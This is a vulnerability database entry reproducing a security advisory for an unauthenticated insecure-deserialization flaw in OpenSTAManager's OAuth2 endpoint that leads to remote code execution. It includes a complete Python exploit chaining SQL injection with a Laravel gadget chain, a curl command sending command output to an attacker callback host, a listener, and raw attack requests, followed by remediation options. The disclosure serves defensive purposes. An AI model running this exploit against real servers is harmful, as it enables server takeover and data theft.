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| Vulnerability ID | VCID-5tn6-au4e-33de |
| Aliases |
CVE-2026-29782
GHSA-whv5-4q2f-q68g |
| Summary | OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2 ## Description The `oauth2.php` file in OpenSTAManager is an **unauthenticated** endpoint (`$skip_permissions = true`). It loads a record from the `zz_oauth2` table using the attacker-controlled GET parameter `state`, and during the OAuth2 configuration flow calls `unserialize()` on the `access_token` field **without any class restriction**. An attacker who can write to the `zz_oauth2` table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in [GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the `www-data` user. ## Affected code ### Entry point — `oauth2.php` ```php $skip_permissions = true; // Line 23: NO AUTHENTICATION include_once __DIR__.'/core.php'; $state = $_GET['state']; // Line 28: attacker-controlled $code = $_GET['code']; $account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record $response = $account->configure($code, $state); // Line 51: triggers the chain ``` ### Deserialization — `src/Models/OAuth2.php` ```php // Line 193 (checkTokens): $access_token = $this->access_token ? unserialize($this->access_token) : null; // Line 151 (getAccessToken): return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null; ``` `unserialize()` is called without the `allowed_classes` parameter, allowing instantiation of any class loaded by the Composer autoloader. ## Execution flow ``` oauth2.php (no auth) → configure() → needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token) ← attacker payload → Creates PendingBroadcast object (Laravel/RCE22 gadget chain) → $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error → During error cleanup: → PendingBroadcast.__destruct() ← fires during shutdown → system($command) ← RCE ``` The HTTP response is 500 (due to the `hasExpired()` error), but the command has already executed via `__destruct()` during error cleanup. ## Full attack chain This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module ([GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) to achieve unauthenticated RCE: 1. **Payload injection** (requires admin account): Via `op=risolvi-conflitti-database`, arbitrary SQL is executed to insert a malicious serialized object into `zz_oauth2.access_token` 2. **RCE trigger** (unauthenticated): A GET request to `oauth2.php?state=<known_value>&code=x` triggers the deserialization and executes the command **Persistence note**: The `risolvi-conflitti-database` handler ends with `exit;` (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (`CREATE TABLE`/`DROP TABLE`) are included to force an implicit MySQL commit. ## Gadget chain The chain used is **Laravel/RCE22** (available in [phpggc](https://github.com/ambionics/phpggc)), which exploits classes from the Laravel framework present in the project's dependencies: ``` PendingBroadcast.__destruct() → $this->events->dispatch($this->event) → chain of __call() / __invoke() → system($command) ``` ## Proof of Concept ### Execution **Terminal 1** — Attacker listener: ```bash python3 listener.py --port 9999 ``` **Terminal 2** — Exploit: ```bash python3 exploit.py \ --target http://localhost:8888 \ --callback http://host.docker.internal:9999 \ --user admin --password <password> ``` <img width="638" height="722" alt="image" src="https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f" /> ### Observed result **Listener receives:** <img width="683" height="286" alt="image" src="https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1" /> The `id` command was executed on the server as `www-data`, confirming RCE. ### HTTP requests from the exploit **Step 4 — Injection (authenticated):** ``` POST /actions.php HTTP/1.1 Cookie: PHPSESSID=<session> Content-Type: application/x-www-form-urlencoded op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"] ``` **Step 5 — Trigger (NO authentication):** ``` GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1 (No cookies — completely anonymous request) ``` **Response:** HTTP 500 (expected — the error occurs after `__destruct()` has already executed the command) ### Exploit — `exploit.py` ```python #!/usr/bin/env python3 """ OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization) Usage: python3 listener.py --port 9999 python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234 """ import argparse import json import random import re import string import subprocess import sys import time try: import requests except ImportError: print("[!] pip install requests") sys.exit(1) RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" BOLD = "\033[1m" DIM = "\033[2m" RESET = "\033[0m" BANNER = f""" {RED}{'=' * 58}{RESET} {RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET} {RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET} {RED}{'=' * 58}{RESET} """ def log(msg, status="*"): icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"} print(f" [{icons.get(status, '*')}] {msg}") def step_header(num, title): print(f"\n {BOLD}── Step {num}: {title} ──{RESET}\n") def generate_payload(container, command): step_header(1, "Generate Gadget Chain Payload") log("Checking phpggc in container...") result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True) if result.returncode != 0: log("Installing phpggc...", "!") proc = subprocess.run( ["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"], capture_output=True, text=True, ) if proc.returncode != 0: log(f"Failed to install phpggc: {proc.stderr}", "-") sys.exit(1) log(f"Command: {DIM}{command}{RESET}") result = subprocess.run( ["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command], capture_output=True, ) if result.returncode != 0: log(f"phpggc failed: {result.stderr.decode()}", "-") sys.exit(1) payload_bytes = result.stdout log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+") return payload_bytes def authenticate(target, username, password): step_header(2, "Authenticate") session = requests.Session() log(f"Logging in as '{username}'...") resp = session.post( f"{target}/index.php", data={"op": "login", "username": username, "password": password}, allow_redirects=False, timeout=10, ) location = resp.headers.get("Location", "") if resp.status_code != 302 or "index.php" in location: log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-") sys.exit(1) session.get(f"{target}{location}", timeout=10) log("Authenticated", "+") return session def find_module_id(session, target, container): step_header(3, "Find 'Aggiornamenti' Module ID") log("Searching navigation sidebar...") resp = session.get(f"{target}/controller.php", timeout=10) for match in re.finditer(r'id_module=(\d+)', resp.text): snippet = resp.text[match.start():match.start() + 300] if re.search(r'[Aa]ggiornamenti', snippet): module_id = int(match.group(1)) log(f"Module ID: {BOLD}{module_id}{RESET}", "+") return module_id log("Not found in sidebar, querying database...", "!") result = subprocess.run( ["docker", "exec", container, "php", "-r", "require '/var/www/html/config.inc.php'; " "$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); " "echo $pdo->query(\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\")->fetchColumn();"], capture_output=True, text=True, ) if result.stdout.strip().isdigit(): module_id = int(result.stdout.strip()) log(f"Module ID: {BOLD}{module_id}{RESET}", "+") return module_id log("Could not find module ID", "-") sys.exit(1) def inject_payload(session, target, module_id, payload_bytes, state_value): step_header(4, "Inject Payload via Arbitrary SQL") hex_payload = payload_bytes.hex() record_id = random.randint(90000, 99999) queries = [ f"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'", f"INSERT INTO zz_oauth2 " f"(id, name, class, client_id, client_secret, config, " f"state, access_token, after_configuration, is_login, enabled) VALUES " f"({record_id}, 'poc', 'Modules\\\\Emails\\\\OAuth2\\\\Google', " f"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)", "CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)", "DROP TABLE IF EXISTS _poc_ddl_commit", ] log(f"State trigger: {BOLD}{state_value}{RESET}") log(f"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)") log("Sending to actions.php...") resp = session.post( f"{target}/actions.php", data={"op": "risolvi-conflitti-database", "id_module": str(module_id), "id_record": "", "queries": json.dumps(queries)}, timeout=15, ) try: result = json.loads(resp.text) if result.get("success"): log("Payload planted in zz_oauth2.access_token", "+") return True else: log(f"Injection failed: {result.get('message', '?')}", "-") return False except json.JSONDecodeError: log(f"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}", "-") return False def trigger_rce(target, state_value): step_header(5, "Trigger RCE (NO AUTHENTICATION)") url = f"{target}/oauth2.php" log(f"GET {url}?state={state_value}&code=x") log(f"{DIM}(This request is UNAUTHENTICATED){RESET}") try: resp = requests.get(url, params={"state": state_value, "code": "x"}, allow_redirects=False, timeout=15) log(f"HTTP {resp.status_code}", "+") if resp.status_code == 500: log(f"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}") except requests.exceptions.Timeout: log("Timed out (command may still have executed)", "!") except requests.exceptions.ConnectionError as e: log(f"Connection error: {e}", "-") def main(): parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 — RCE PoC") parser.add_argument("--target", required=True, help="Target URL") parser.add_argument("--callback", required=True, help="Attacker listener URL reachable from the container") parser.add_argument("--user", default="admin", help="Username (default: admin)") parser.add_argument("--password", required=True, help="Password") parser.add_argument("--container", default="osm-web", help="Docker web container (default: osm-web)") parser.add_argument("--command", help="Custom command (default: curl callback with id output)") args = parser.parse_args() print(BANNER) target = args.target.rstrip("/") callback = args.callback.rstrip("/") state_value = "poc-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=12)) command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)" payload = generate_payload(args.container, command) session = authenticate(target, args.user, args.password) module_id = find_module_id(session, target, args.container) if not inject_payload(session, target, module_id, payload, state_value): log("Exploit failed at injection step", "-") sys.exit(1) time.sleep(1) trigger_rce(target, state_value) print(f"\n {BOLD}── Result ──{RESET}\n") log("Exploit complete. Check your listener for the callback.", "+") log("Expected: GET /rce-<base64(id)>") log(f"If no callback, verify the container can reach: {callback}", "!") if __name__ == "__main__": main() ``` ### Listener — `listener.py` ```python #!/usr/bin/env python3 """OpenSTAManager v2.10.1 — RCE Callback Listener""" import argparse import base64 import sys from datetime import datetime from http.server import HTTPServer, BaseHTTPRequestHandler RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" BOLD = "\033[1m" RESET = "\033[0m" class CallbackHandler(BaseHTTPRequestHandler): def do_GET(self): ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") print(f"\n {RED}{'=' * 58}{RESET}") print(f" {RED}{BOLD} RCE CALLBACK RECEIVED{RESET}") print(f" {RED}{'=' * 58}{RESET}") print(f" {GREEN}[+]{RESET} Time : {ts}") print(f" {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}") print(f" {GREEN}[+]{RESET} Path : {self.path}") for part in self.path.lstrip("/").split("/"): if part.startswith("rce-"): try: decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace") print(f" {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}") except Exception: print(f" {YELLOW}[!]{RESET} Raw : {part[4:]}") print(f" {RED}{'=' * 58}{RESET}\n") self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"OK") def do_POST(self): self.do_GET() def log_message(self, format, *args): pass def main(): parser = argparse.ArgumentParser(description="RCE callback listener") parser.add_argument("--port", type=int, default=9999, help="Listen port (default: 9999)") args = parser.parse_args() server = HTTPServer(("0.0.0.0", args.port), CallbackHandler) print(f"\n {BLUE}{'=' * 58}{RESET}") print(f" {BLUE}{BOLD} OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}") print(f" {BLUE}{'=' * 58}{RESET}") print(f" {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}") print(f" {YELLOW}[!]{RESET} Waiting for callback...\n") try: server.serve_forever() except KeyboardInterrupt: print(f"\n {YELLOW}[!]{RESET} Stopped.") sys.exit(0) if __name__ == "__main__": main() ``` ## Impact - **Confidentiality**: Read server files, database credentials, API keys - **Integrity**: Write files, install backdoors, modify application code - **Availability**: Delete files, denial of service - **Scope**: Command execution as `www-data` allows pivoting to other systems on the network ## Proposed remediation ### Option A: Restrict `unserialize()` (recommended) ```php // src/Models/OAuth2.php — checkTokens() and getAccessToken() $access_token = $this->access_token ? unserialize($this->access_token, ['allowed_classes' => [AccessToken::class]]) : null; ``` ### Option B: Use safe serialization Replace `serialize()`/`unserialize()` with `json_encode()`/`json_decode()` for storing OAuth2 tokens. ### Option C: Authenticate `oauth2.php` Remove `$skip_permissions = true` and require authentication for the OAuth2 callback endpoint, or validate the `state` parameter against a value stored in the user's session. ## Credits Omar Ramirez |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.0 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Percentile | 0.22979 |
| EPSS Score | 0.00076 |
| Published At | June 5, 2026, 12:55 p.m. |
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-06-04T16:52:49.684334+00:00 | GithubOSV Importer | Import | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-whv5-4q2f-q68g/GHSA-whv5-4q2f-q68g.json | 38.6.0 |